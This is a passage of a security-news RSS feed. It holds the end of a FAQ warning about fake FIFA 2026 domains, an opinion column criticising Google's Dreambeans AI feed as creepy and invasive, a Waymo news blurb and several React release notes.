<div class="rank-math-answer">You can search, but be cautious. The FBI specifically warns against clicking sponsored search results, which attackers can purchase to appear at the top of results pages. Always manually navigate to www.fifa.com after your search rather than clicking links. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">5. How many fake FIFA 2026 domains are there?  </h3>
<div class="rank-math-answer">The FBI flagged over 40 fraudulent domains in its PSA. Cyble researchers confirmed that many of these remain active. Given that new fraudulent domains are registered continuously, the actual number of fake FIFA-related domains in circulation is expected to grow significantly as the tournament approaches. </div>
</div>
</div>
<p><!-- /wp:rank-math/faq-block --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/fifa-world-cup-2026-scams/">FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Welcome to AI’s creepy era]]></title>
<description><![CDATA[For the past few days, I’ve been immersed in Google’s latest vision of the future — an AI-infused dashboard that taps into info from all of your Google app activity and then uses that data to cook up a series of daily “stories” designed to “connect you with what matters.”



And — believe me, I d...]]></description>
<link>https://tsecurity.de/de/3587194/ai-nachrichten/welcome-to-ais-creepy-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587194/ai-nachrichten/welcome-to-ais-creepy-era/</guid>
<pubDate>Wed, 10 Jun 2026 11:49:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For the past few days, I’ve been immersed in Google’s latest vision of the future — an AI-infused dashboard that taps into info from all of your Google app activity and then uses that data to cook up a series of daily “stories” designed to “connect you with what matters.”</p>



<p>And — believe me, I don’t say this lightly — the experience of interacting with this system has me longing more than ever for the past.</p>



<p>The app is called <a href="https://labs.google/dreambeans" target="_blank" rel="noreferrer noopener">Dreambeans</a>. Google <a href="https://blog.google/innovation-and-ai/models-and-research/google-labs/dreambeans/" target="_blank" rel="noreferrer noopener">launched it as an experiment</a> last Wednesday, and I was offered the opportunity to skip <a href="https://docs.google.com/forms/d/e/1FAIpQLSeLCFkp4XJeAieu_6PrgHeS7mRvrCEab1d9-7SjTai034hZaQ/viewform" target="_blank" rel="noreferrer noopener">the standard waitlist</a> and get immediate access to explore it.</p>



<p>I won’t beat around the bush: Using the app really has been an eye-opening, enlightening experience for me. Just not in the way that Google had presumably wanted.</p>



<p><strong>[Get level-headed knowledge in your inbox with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong>. Something new and useful every Friday — from my keyboard to your email.</strong>]</p>



<h2 class="wp-block-heading"><strong>Google Dreambeans and the next phase of AI</strong></h2>



<p>In many ways, Dreambeans feels like the ultimate example of everything Google’s been gunning for — and AI in general has been building up to — over the past several years.</p>



<p>With your permission, the app accesses your ongoing activity data from Google Workspace (including such services as Gmail, Google Calendar, and Google Drive) along with Google Search, Google Photos, and YouTube to create an evolving profile of your life and interests. That means everything from who you email to what’s on your agenda, what you’re writing or saving files about, and what sorts of subjects you’re searching for, videos you’re watching, and activities you and your friends, family, and other associates are appearing in throughout photos (and even how you all <em>look</em> in those photos) gets constantly analyzed and processed and used as fodder for a personalized feed that updates a few times a day.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>On the surface, it sounds a little like <a href="https://www.computerworld.com/article/1487695/google-now-revisited-one-month-with-android-s-new-secret-weapon.html">Google Now</a> — the excellent and all-too-short-lived proactive intelligence feature Google added into Android for a while back around 2012.</p>



<p>In practice, though, lemme tell ya: It <em>feels </em>dramatically different. Whereas Google Now felt almost magical in its ability to anticipate what you needed before you ever asked for it — with proactive cards on things like flight statuses based on itineraries in your inbox or flight-related searches you’d performed, traffic alerts based on your typical daily routes or appointments in your agenda, and links to maps for businesses you’d been researching — Dreambeans takes those same basic concepts to a whole other level that ends up feeling creepy and invasive, both in the info it’s offering and in the way it’s presenting it.</p>



<p>And, more broadly, it feels indicative of the way AI is heading in general — not just with this one app or with Google but across the industry and in a style that I think most people are increasingly finding off-putting and will only find ever more intrusive in time.</p>



<p>Now, let’s be clear: I’m no technophobe. Far from it: I <em>love</em> clever tech creations and thoughtful new touches that make our lives easier. Heck, I’ve spent much of my life searching for and writing about such feats. And that’s precisely why my reaction to Dreambeans strikes me as so significant: If <em>I’m</em> this put off by this concept, how will average tech users — most of whom are far less tuned into tech trends and intrigued by interesting new options then I am — react?</p>



<p>I’ll tell you more about what I’ve heard so far in a second. First, let me show you exactly what I’ve been seeing, so you can assess this thing for yourself and see how it comes across to <em>your </em>spidey senses.</p>



<p>Here’s a handful of the Dreambeans “story” suggestions that appeared in the app upon its first day working for me, with a few names and personal details blurred for privacy purposes:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-1.jpg?quality=50&amp;strip=all&amp;w=895" alt="Google Dreambeans AI feed (1)" class="wp-image-4183021" width="895" height="1024" sizes="auto, (max-width: 895px) 100vw, 895px"><figcaption class="wp-element-caption">Some of Dreambeans’ custom “stories” throughout my first day with the app.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>I’m honestly not even sure where all of these suggestions came from, but what jumped at me right away were the (occasionally flattering) caricatures of me and my wife and the general sense of invasion from all the <em>slightly</em> too personal stuff and too familiar integration of family members’ names and interests integrated into the material.</p>



<p>For the record: I <em>had</em> been looking into speaker stuff at some point in the not-too-distant past; I’ve never once typed, uttered, or even considered the phrase “hand-loomed textiles” until just now; we <em>had </em>been looking at the arts festival it mentioned; I’ve never specifically searched for or expressed any interest in <em>Scary Movie 6</em>; and I am <em>not </em>into the band Genesis — though, to be fair, <a href="https://www.youtube.com/watch?v=hGI2d31M7Ns">I can’t dance</a>.</p>



<p>I showed all this same material to my wife as well as to several other friends and family members I’d categorize more as typical tech users — not tech professionals or card-carrying geeks but just regular people who own and use a variety of devices, as we all do, and rely on ’em for both personal and professional purposes with varying levels of dread, excitement, and/or indifference. Without exception and without any prompting or personal opinions presented to sway them, every single one of ’em responded the same basic way: “Oh. That’s creepy.” And: “I do not like that.” Without fail.</p>



<p>It doesn’t get much better from here, either. Most of the app’s subsequent suggestions have continued to veer just a touch too far onto the “ick” side of the spectrum, as well as occasionally being off-base in some pretty perplexing ways. For instance:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-2.jpg?quality=50&amp;strip=all&amp;w=601" alt="Google Dreambeans AI feed (2)" class="wp-image-4183020" width="601" height="1024" sizes="auto, (max-width: 601px) 100vw, 601px"><figcaption class="wp-element-caption">Nice AirPods, Mr. Apple fan!</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>For the record on this set: I do love the show <em>Seinfeld</em> — SERENITY NOW! more than ever — though it’s been some time since I’ve actively watched it; I somewhat famously am allergic to Apple products and avoid ’em whenever possible (notice the name of this column, anyone?); I don’t live in the same city as my brother but do find it creepy to have him pictured in ghoulish caricature form and brought randomly into a discussion about Plex (something he wouldn’t even remotely be interested in hearing from me about); and my various editorial newsletters are all powered by a service called Kit — not Beehiiv — which is mentioned in plenty of places both on my websites and throughout my emails.</p>



<p>Also, while my hairline may not be what it once was, I’m (<em>ahem</em>) not <em>that</em> bald yet — thankyouverymuch, Dreambeans.</p>



<p>Another example that I <em>won’t </em>show here was an item that pictured me in overalls working on installing some “coated stainless steel wire for [my] gallery canvases” — a reference to a community art gallery (with all sorts of details wrong and in some cases flat-out fabricated) connected to my mother’s recent passing. It casually mentioned <em>her</em> by name, too, alongside that eerie illustration of me performing a skill I definitely don’t have in my nonexistent home workshop. I don’t think I have to elaborate on how unsettling, unappreciated, and — again — invasive it felt to have that pop up in this feed.</p>



<p>More than anything, what I’ve been feeling while seeing all of this is a combination of (a) <em>egad, it knows too much </em>— especially when it casually name-drops and caricature-pics my wife, kids, and other family members — and (b) at the same time, the info it’s giving me isn’t especially helpful or insightful. It’s mostly just flat, generic, and — well, more or less exactly what you’d expect from something AI-generated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-3.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Dreambeans AI feed (3)" class="wp-image-4183019" width="1024" height="886" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Seeing caricatures and personal details about my kids is odd — and, at the same time, neither of my kids actually plays or has any interest whatsoever in soccer.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>More than anything, in other words, it’s a combination of creepy and not particularly useful.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/google-dreambeans-ai-feed-4.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Dreambeans AI feed (4)" class="wp-image-4183018" width="1024" height="931" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Some of what I’ve seen when opening Dreambeans’ personal “stories.” Yay?</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And it’s the “creepy” part that really sticks with me the most.</p>



<h2 class="wp-block-heading"><strong>The fine line Google forgot to avoid crossing</strong></h2>



<p>Maybe if the info I’m being served up here were exceptionally useful, this could be a tradeoff I’d be at least a <em>little </em>more likely to accept. <em>Maybe</em>. But in this scenario, it just feels odd and a little too invasive — which I’ve come to realize is a common theme surrounding much of what seems to be the next level of our forced-upon-us AI future.</p>



<p>Take Google’s <a href="https://gemini.google/overview/agent/spark/" target="_blank" rel="noreferrer noopener">Gemini Spark</a>, for instance — the “agentic” AI assistant <a href="https://blog.google/innovation-and-ai/products/gemini-app/next-evolution-gemini-app/" target="_blank" rel="noreferrer noopener">announced at Google I/O</a> that’s meant to be a “proactive” helper tackling tasks on your behalf. David Pierce from The Verge got <a href="https://www.theverge.com/ai-artificial-intelligence/941388/gemini-spark-ai-agent-trip-planning" target="_blank" rel="noreferrer noopener">an early look at the tool in action</a> and called it “the most impressive and terrifying AI experience” he’s had to date, also bringing that “creepy” word into the equation:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>I can’t shake the deeply creepy feeling I get from the whole thing. What Spark did feels sort of magical, and very invasive. It’s weird that Spark is so casually telling me the names and ages of my children, reminding me that it knows where I live, and finding information I know for a fact I’ve never volunteered to Google. Intellectually, I know that Google knows an incredible amount about me — add up my emails, my calendar, my photos, and my search history, and you’ve pretty much got me pegged. But seeing Spark treat all that data not as something to be protected, but as something to be mined, just feels bad.</p>
</blockquote>



<p>And that, I think, mirrors the exact reaction I’ve been experiencing with Dreambeans. We’ve all always known that Google knows a lot about us, but we’ve also — at least intellectually — understood <a href="https://www.computerworld.com/article/1613558/google-privacy-questions.html">how all of that data is and <em>isn’t</em> being used</a>. And it’s never been rubbed in our faces just how much the company can figure out about us by putting all the various pieces together and creating an awkward sense of robotic intimacy.</p>



<p>I remember years ago, being in a Google press briefing where someone from the company talked about how much more their systems and services <em>could</em> accomplish but how they deliberately held back on going that far and overdoing the personalization — ’cause even though they <em>had</em> all that info and could make all those connections, they knew (at the time) that people wouldn’t respond well to seeing all their personal activity put together in such shocking ways. They knew (at the time) that most of us weren’t looking for an artificial BFF who knew too much about us. They knew (at the time) that giving us that sensation would cross the line into being creepy.</p>



<p>Well, this just in: That line’s officially been decimated. We’re in AI’s creepy era. And seemingly no one is worrying anymore if it’s actually something any of us want or will appreciate.</p>



<p>It kinda feels now like tech companies are actively rubbing in our faces how much they know about us — and even if there’s nothing truly <em>nefarious </em>going on with what they’re doing, it sure doesn’t feel good. It feels creepy. And at a time when trust in tech titans is shockingly low and most folks outside of the Silicon Valley bubble are feeling more and more frustrated with AI and all of the effects it’s foisting upon us, that isn’t a great look to be giving off.</p>



<p>Put those sensations alongside the sigh-inducing explosion of <a href="https://www.theverge.com/ai-artificial-intelligence/943187/ai-content-creators" target="_blank" rel="noreferrer noopener">AI “content creators,”</a> the proliferation of lifeless AI-generated “writing” (been on LinkedIn much lately?), and the troublingly blurry line between photorealistic AI-generated images and actual real-world photographs — not to mention the maddening experience of <a href="https://www.computerworld.com/article/4128266/ai-has-taken-over-customer-service-companies-will-regret-it.html">interacting with an AI bot support agent</a> or encountering the ever-expanding array of <a href="https://theintelligence.com/41724/how-ai-is-changing-cyber-risk-what-that-means-for-you/" target="_blank" rel="noreferrer noopener">AI-powered scams and security threats</a> and <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">AI-generated job cuts</a>, just to name a few other problematic consequences this movement is imposing — and it’s hard not to question if all this purported progress is ultimately more helpful or harmful for us, as living, breathing humans in the real world.</p>



<p>A few months ago, at the three-year mark of Gemini’s launch, I <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">posed the question</a>: Did anyone actually ask for this? And, more pressingly: Is <em>this </em>the future we wanted? As we’re moving now into yet another era of AI innovation and seeing how it’s affecting our lives, it gets tougher every day to imagine many folks outside of the tech industry who’d answer with an emphatic yes.</p>



<p>And, unfortunately, you don’t need any fancy-schmancy AI chatbots to tell you that things are only gonna get more extreme — and, yes, more creepy — from here.</p>



<p><em>Find the tips and tools that’ll *actually* help you with </em><a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><em>my free Android Intelligence newsletter</em></a><em>. No hype, no nonsense — just useful new stuff in your inbox every Friday, from one (alleged) human to another.</em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Waymo built a virtual driver to study how humans react to surprises on the road]]></title>
<description><![CDATA[Waymo has a lot of experience building virtual systems to help its autonomous vehicles better understand the real world. It built realistic 3D worlds to better anticipate natural disasters and unpredictable edge cases. It created a virtual representation of a hyperattentive driver to test against...]]></description>
<link>https://tsecurity.de/de/3587113/it-nachrichten/waymo-built-a-virtual-driver-to-study-how-humans-react-to-surprises-on-the-road/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587113/it-nachrichten/waymo-built-a-virtual-driver-to-study-how-humans-react-to-surprises-on-the-road/</guid>
<pubDate>Wed, 10 Jun 2026 11:17:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Waymo has a lot of experience building virtual systems to help its autonomous vehicles better understand the real world. It built realistic 3D worlds to better anticipate natural disasters and unpredictable edge cases. It created a virtual representation of a hyperattentive driver to test against its own autonomous vehicles in a series of simulated scenarios […]]]></content:encoded>
</item>
<item>
<title><![CDATA[19.1.6 (April 8th, 2026)]]></title>
<description><![CDATA[React Server Components

Add more cycle protections (#36236 by @eps1lon and @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585729/downloads/1916-april-8th-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585729/downloads/1916-april-8th-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:43 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Add more cycle protections (<a href="https://github.com/facebook/react/pull/36236" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36236/hovercard">#36236</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.2.5 (April 8th, 2026)]]></title>
<description><![CDATA[React Server Components

Add more cycle protections (#36236 by @eps1lon and @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585728/downloads/1925-april-8th-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585728/downloads/1925-april-8th-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:42 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Add more cycle protections (<a href="https://github.com/facebook/react/pull/36236" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36236/hovercard">#36236</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[eslint-plugin-react-hooks@7.1.1 (April 17, 2026)]]></title>
<description><![CDATA[Note: 7.1.0 accidentally removed the component-hook-factories rule, causing errors for users who referenced it in their ESLint config. This is now fixed.

Add deprecated no-op component-hook-factories rule for backwards compatibility. (@mofeiZ in #36307)]]></description>
<link>https://tsecurity.de/de/3585727/downloads/eslint-plugin-react-hooks711-april-17-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585727/downloads/eslint-plugin-react-hooks711-april-17-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>Note:</strong> 7.1.0 accidentally removed the <code>component-hook-factories</code> rule, causing errors for users who referenced it in their ESLint config. This is now fixed.</p>
<ul>
<li>Add deprecated no-op <code>component-hook-factories</code> rule for backwards compatibility. (<a href="https://github.com/mofeiZ">@mofeiZ</a> in <a href="https://github.com/facebook/react/pull/36307" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36307/hovercard">#36307</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[eslint-plugin-react-hooks@7.1.0 (April 16, 2026)]]></title>
<description><![CDATA[This release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better set-state-in-effect detection, improved ref validation, and more helpful error reporting.

Add ESLint v10 support. (@azat-io in #35720)
...]]></description>
<link>https://tsecurity.de/de/3585726/downloads/eslint-plugin-react-hooks710-april-16-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585726/downloads/eslint-plugin-react-hooks710-april-16-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better <code>set-state-in-effect</code> detection, improved ref validation, and more helpful error reporting.</p>
<ul>
<li>Add ESLint v10 support. (<a href="https://github.com/azat-io">@azat-io</a> in <a href="https://github.com/facebook/react/pull/35720" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35720/hovercard">#35720</a>)</li>
<li>Skip compilation for non-React files to improve performance. (<a href="https://github.com/josephsavona">@josephsavona</a> in <a href="https://github.com/facebook/react/pull/35589" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35589/hovercard">#35589</a>)</li>
<li>Fix exhaustive deps bug with Flow type casting. (<a href="https://github.com/jorge-cab">@jorge-cab</a> in <a href="https://github.com/facebook/react/pull/35691" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35691/hovercard">#35691</a>)</li>
<li>Fix <code>useEffectEvent</code> checks in component syntax. (<a href="https://github.com/jbrown215">@jbrown215</a> in <a href="https://github.com/facebook/react/pull/35041" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35041/hovercard">#35041</a>)</li>
<li>Improved <code>set-state-in-effect</code> validation with fewer false negatives. (<a href="https://github.com/jorge-cab">@jorge-cab</a> in <a href="https://github.com/facebook/react/pull/35134" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35134/hovercard">#35134</a>, <a href="https://github.com/josephsavona">@josephsavona</a> in <a href="https://github.com/facebook/react/pull/35147" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35147/hovercard">#35147</a>, <a href="https://github.com/jackpope">@jackpope</a> in <a href="https://github.com/facebook/react/pull/35214" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35214/hovercard">#35214</a>, <a href="https://github.com/chesnokov-tony">@chesnokov-tony</a> in <a href="https://github.com/facebook/react/pull/35419" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35419/hovercard">#35419</a>, <a href="https://github.com/jsleitor">@jsleitor</a> in <a href="https://github.com/facebook/react/pull/36107" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36107/hovercard">#36107</a>)</li>
<li>Improved ref validation for non-mutating functions and event handler props. (<a href="https://github.com/josephsavona">@josephsavona</a> in <a href="https://github.com/facebook/react/pull/35893" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35893/hovercard">#35893</a>, <a href="https://github.com/kolvian">@kolvian</a> in <a href="https://github.com/facebook/react/pull/35062" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35062/hovercard">#35062</a>)</li>
<li>Compiler now reports all errors instead of stopping at the first. (<a href="https://github.com/josephsavona">@josephsavona</a> in <a href="https://github.com/facebook/react/pull/35873" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35873/hovercard">#35873</a>–<a href="https://github.com/facebook/react/pull/35884" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35884/hovercard">#35884</a>)</li>
<li>Improved source locations and error display in compiler diagnostics. (<a href="https://github.com/nathanmarks">@nathanmarks</a> in <a href="https://github.com/facebook/react/pull/35348" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/35348/hovercard">#35348</a>, <a href="https://github.com/josephsavona">@josephsavona</a> in <a href="https://github.com/facebook/react/pull/34963" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/34963/hovercard">#34963</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.2.6 (May 6th, 2026)]]></title>
<description><![CDATA[React Server Components

Type hardening and performance improvements
(#36425 by @eps1lon and @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585725/downloads/1926-may-6th-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585725/downloads/1926-may-6th-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Type hardening and performance improvements<br>
(<a href="https://github.com/facebook/react/pull/36425" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36425/hovercard">#36425</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.1.7 (May 6th, 2026)]]></title>
<description><![CDATA[React Server Components

Type hardening and performance improvements
(#36425 by @eps1lon and @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585724/downloads/1917-may-6th-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585724/downloads/1917-may-6th-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Type hardening and performance improvements<br>
(<a href="https://github.com/facebook/react/pull/36425" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36425/hovercard">#36425</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.0.6 (May 6th, 2026)]]></title>
<description><![CDATA[React Server Components

Type hardening and performance improvements
(#36425 by @eps1lon and @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585723/downloads/1906-may-6th-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585723/downloads/1906-may-6th-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Type hardening and performance improvements<br>
(<a href="https://github.com/facebook/react/pull/36425" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36425/hovercard">#36425</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.0.7 (June 1st, 2026)]]></title>
<description><![CDATA[React Server Components

Fixed missing FormData entries in Server Actions which regressed in 19.0.6
(#36568 by @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585722/downloads/1907-june-1st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585722/downloads/1907-june-1st-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Fixed missing <code>FormData</code> entries in Server Actions which regressed in 19.0.6<br>
(<a href="https://github.com/facebook/react/pull/36568" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36568/hovercard">#36568</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.1.8 (June 1st, 2026)]]></title>
<description><![CDATA[React Server Components

Fixed missing FormData entries in Server Actions which regressed in 19.1.7
(#36567 by @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585721/downloads/1918-june-1st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585721/downloads/1918-june-1st-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Fixed missing <code>FormData</code> entries in Server Actions which regressed in 19.1.7<br>
(<a href="https://github.com/facebook/react/pull/36567" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36567/hovercard">#36567</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.2.7 (June 1st, 2026)]]></title>
<description><![CDATA[React Server Components

Fixed missing FormData entries in Server Actions which regressed in 19.2.6
(#36566 by @unstubbable)]]></description>
<link>https://tsecurity.de/de/3585720/downloads/1927-june-1st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585720/downloads/1927-june-1st-2026/</guid>
<pubDate>Tue, 09 Jun 2026 20:46:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Fixed missing <code>FormData</code> entries in Server Actions which regressed in 19.2.6<br>
(<a href="https://github.com/facebook/react/pull/36566" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/36566/hovercard">#36566</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens: Anticipating the Next Attack Surface, OT Security in an Era of AI and Automation]]></title>
